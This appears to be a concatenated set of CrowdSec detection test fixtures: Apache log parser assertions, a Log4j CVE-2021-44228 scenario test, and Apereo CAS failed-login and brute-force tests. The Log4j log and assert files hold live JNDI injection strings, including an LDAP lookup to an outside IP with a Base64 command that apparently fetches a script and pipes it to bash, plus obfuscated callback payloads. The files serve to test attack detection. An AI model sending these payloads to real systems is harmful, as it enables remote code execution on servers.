results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["auth"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["bytes"] == "803" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["ident"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["target_fqdn"] == "www.crowdsec.net" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["message"] == "www.crowdsec.net 1.2.3.4 - - [08/Jun/2020:08:04:43 +0000] \"GET /solr/admin/info/system?wt=json HTTP/1.1\" 500 803 \"-\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\"" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["clientip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Parsed["program"] == "apache2" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["http_path"] == "/solr/admin/info/system?wt=json" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["target_fqdn"] == "www.crowdsec.net" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["http_status"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/apache2-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Success == true results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["httpversion"] == "1.0" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["referrer"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["response"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["message"] == "93.43.209.58 - - [08/Jun/2020:06:49:01 +0000] \"POST /login HTTP/1.0\" 500 803 \"-\" \"-\"" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["program"] == "apache2" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["timestamp"] == "08/Jun/2020:06:49:01 +0000" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["verb"] == "POST" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["bytes"] == "803" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["http_user_agent"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["ident"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["auth"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["clientip"] == "93.43.209.58" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Parsed["request"] == "/login" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Meta["http_path"] == "/login" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Meta["http_verb"] == "POST" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Meta["source_ip"] == "93.43.209.58" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Meta["http_status"] == "500" results["s01-parse"]["crowdsecurity/apache2-logs"][4].Evt.Meta["http_user_agent"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Success == true results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["ident"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["message"] == "116.203.1.1 - - [05/Mar/2021:09:01:38 +0100] \"GET /test/lists/sip_30d.txt HTTP/1.0\" 200 1513" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["auth"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["clientip"] == "116.203.1.1" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["response"] == "200" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["timestamp"] == "05/Mar/2021:09:01:38 +0100" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["bytes"] == "1513" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["httpversion"] == "1.0" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["request"] == "/test/lists/sip_30d.txt" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Parsed["program"] == "apache2" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Meta["http_path"] == "/test/lists/sip_30d.txt" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Meta["source_ip"] == "116.203.1.1" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s01-parse"]["crowdsecurity/apache2-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Success == true results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["message"] == "website.com:443 1.2.3.4 - - [25/Oct/2021:11:05:52 +0200] \"GET /web/.well-known HTTP/1.1\" 403 6963 \"abc.com\" \"User-agent-string\"" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["response"] == "403" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["http_user_agent"] == "User-agent-string" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["request"] == "/web/.well-known" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["timestamp"] == "25/Oct/2021:11:05:52 +0200" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["auth"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["clientip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["httpversion"] == "1.1" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["ident"] == "-" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["port"] == "443" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["program"] == "apache2" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["referrer"] == "abc.com" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["target_fqdn"] == "website.com" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["bytes"] == "6963" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["http_status"] == "403" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["http_user_agent"] == "User-agent-string" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["http_path"] == "/web/.well-known" results["s01-parse"]["crowdsecurity/apache2-logs"][6].Evt.Meta["target_fqdn"] == "website.com" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Success == true results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["clientport"] == "50229" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["program"] == "apache2" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["target_uri"] == "/" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["client"] == "31.33.58.75" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["module"] == "auth_basic" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["timestamp"] == "Thu Oct 13 12:24:49.880562 2022" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["errorcode"] == "AH01618" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["tid"] == "140120579262208" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["username"] == "sss" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["loglevel"] == "error" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["message"] == "user sss not found: /" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Parsed["pid"] == "10" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Meta["log_type"] == "http_error-log" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Meta["source_ip"] == "31.33.58.75" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Meta["sub_type"] == "auth_fail" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Meta["username"] == "sss" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Meta["datasource_path"] == "apache2-logs.log" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/apache2-logs"][7].Evt.Meta["http_path"] == "/" len(results["success"][""]) == 0hub1/.tests/apache_log4j2_cve-2021-44228/000077500000000000000000000000001437532772500174565ustar00rootroot00000000000000hub1/.tests/apache_log4j2_cve-2021-44228/apache_log4j2_cve-2021-44228.log000066400000000000000000000013241437532772500244630ustar00rootroot00000000000000192.168.1.3 - - [10/Dec/2021:14:25:38 +0000] "GET / HTTP/1.1" 401 157 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC84Mi42NC4xNDUuMTQxOjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC84Mi42NC4xNDUuMTQxOjQ0Myl8YmFzaA==}" 192.168.1.4 - - [12/Dec/2021:05:06:43 +0000] "GET / HTTP/1.1" 200 396 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" 192.168.1.5 - - [12/Dec/2021:05:06:43 +0000] "GET / HTTP/1.1" 200 396 "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" hub1/.tests/apache_log4j2_cve-2021-44228/config.yaml000066400000000000000000000004311437532772500216050ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/apache_log4j2_cve-2021-44228.yaml postoverflows: - "" log_file: apache_log4j2_cve-2021-44228.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/apache_log4j2_cve-2021-44228/parser.assert000066400000000000000000000000001437532772500221630ustar00rootroot00000000000000hub1/.tests/apache_log4j2_cve-2021-44228/scenario.assert000066400000000000000000000074001437532772500225050ustar00rootroot00000000000000len(results) == 3 "192.168.1.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.5"].IP == "192.168.1.5" results[0].Overflow.Sources["192.168.1.5"].Range == "" results[0].Overflow.Sources["192.168.1.5"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.5"].GetValue() == "192.168.1.5" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache_log4j2_cve-2021-44228.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.5" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/apache_log4j2_cve-2021-44228" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "192.168.1.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["192.168.1.4"].IP == "192.168.1.4" results[1].Overflow.Sources["192.168.1.4"].Range == "" results[1].Overflow.Sources["192.168.1.4"].GetScope() == "Ip" results[1].Overflow.Sources["192.168.1.4"].GetValue() == "192.168.1.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache_log4j2_cve-2021-44228.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.4" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/apache_log4j2_cve-2021-44228" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 "192.168.1.3" in results[2].Overflow.GetSources() results[2].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" results[2].Overflow.Sources["192.168.1.3"].Range == "" results[2].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" results[2].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache_log4j2_cve-2021-44228.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("http_path") == "/" results[2].Overflow.Alert.Events[0].GetMeta("http_status") == "401" results[2].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC84Mi42NC4xNDUuMTQxOjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC84Mi42NC4xNDUuMTQxOjQ0Myl8YmFzaA==}" results[2].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[2].Overflow.Alert.Events[0].GetMeta("service") == "http" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" results[2].Overflow.Alert.GetScenario() == "crowdsecurity/apache_log4j2_cve-2021-44228" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/apereo-cas-audit-logs/000077500000000000000000000000001437532772500172415ustar00rootroot00000000000000hub1/.tests/apereo-cas-audit-logs/apereo-cas-audit-logs.log000066400000000000000000000004251437532772500240320ustar00rootroot000000000000002021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|2.2.2.2hub1/.tests/apereo-cas-audit-logs/config.yaml000066400000000000000000000003541437532772500213740ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - parsers/s01-parse/jusabatier/apereo-cas-audit-logs.yaml scenarios: - "" postoverflows: - "" log_file: apereo-cas-audit-logs.log log_type: cas ignore_parsers: false hub1/.tests/apereo-cas-audit-logs/parser.assert000066400000000000000000000106421437532772500217630ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 1 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "cas" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|2.2.2.2" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "apereo-cas-audit-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 1 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false len(results["s01-parse"]["jusabatier/apereo-cas-audit-logs"]) == 1 results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Success == true results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Parsed["time"] == "2021-10-11 09:01:35" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Parsed["cas_client_ip"] == "1.1.1.1" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Parsed["cas_invalid_user"] == "john.doe" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Parsed["loglevel"] == "INFO" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Parsed["message"] == "2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|2.2.2.2" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Parsed["program"] == "cas" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Parsed["threadname"] == "org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Meta["service"] == "cas" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Meta["target_user"] == "john.doe" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Meta["datasource_path"] == "apereo-cas-audit-logs.log" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["jusabatier/apereo-cas-audit-logs"][0].Evt.Meta["log_type"] == "cas_failed-auth" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|2.2.2.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "cas" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["threadname"] == "org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "2021-10-11 09:01:35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["cas_client_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["cas_invalid_user"] == "john.doe" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["loglevel"] == "INFO" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "cas_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "cas" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_user"] == "john.doe" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "apereo-cas-audit-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-10-11T09:01:35Z" hub1/.tests/apereo-cas-audit-logs/scenario.assert000066400000000000000000000000001437532772500222550ustar00rootroot00000000000000hub1/.tests/apereo-cas-bf/000077500000000000000000000000001437532772500155605ustar00rootroot00000000000000hub1/.tests/apereo-cas-bf/apereo-cas-bf.log000066400000000000000000000112201437532772500206630ustar00rootroot000000000000002021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe|1.1.1.1|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe1, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe1|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe2, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe2|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe3, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe3|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe4, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe4|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe5, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe5|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe6, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe6|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe7, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe7|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe8, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe8|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe9, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe9|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe10, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe10|1.1.1.2|8.8.8.8 2021-10-11 09:01:35,116 INFO [org.apereo.inspektr.audit.support.Slf4jLoggingAuditTrailManager] - Mon Oct 11 09:01:35 CEST 2021|CAS|Supplied credentials: [UsernamePasswordCredential(username=john.doe11, source=null, customFields={})]|AUTHENTICATION_FAILED|john.doe11|1.1.1.2|8.8.8.8 hub1/.tests/apereo-cas-bf/config.yaml000066400000000000000000000004101437532772500177040ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - parsers/s01-parse/jusabatier/apereo-cas-audit-logs.yaml scenarios: - scenarios/jusabatier/apereo-cas-bf.yaml postoverflows: - "" log_file: apereo-cas-bf.log log_type: cas ignore_parsers: true hub1/.tests/apereo-cas-bf/parser.assert000066400000000000000000000000001437532772500202650ustar00rootroot00000000000000hub1/.tests/apereo-cas-bf/scenario.assert000066400000000000000000000221551437532772500206130ustar00rootroot00000000000000len(results) == 3 "1.1.1.2" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.1.1.2"].IP == "1.1.1.2" results[0].Overflow.Sources["1.1.1.2"].Range == "" results[0].Overflow.Sources["1.1.1.2"].GetScope() == "Ip" results[0].Overflow.Sources["1.1.1.2"].GetValue() == "1.1.1.2" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apereo-cas-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" 